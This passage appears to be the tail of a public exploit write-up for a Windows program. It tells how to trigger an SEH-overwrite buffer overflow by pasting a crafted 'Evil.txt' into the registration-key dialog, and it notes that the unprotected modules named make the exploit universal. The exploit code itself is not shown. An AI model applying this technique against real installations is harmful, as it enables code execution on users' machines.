===================  
- Under Help, click 'Enter Registration Key'.   
- Paste the contents of Evil.txt and click OK.  
Notes:  
======  
- The following modules have no protection making the exploit universal: [sqlite3.dll, ssleay32.dll, MSVCR71.dll]  
- There is ample space prior to SEH overwrite.  
- Pro edition is effected as well.
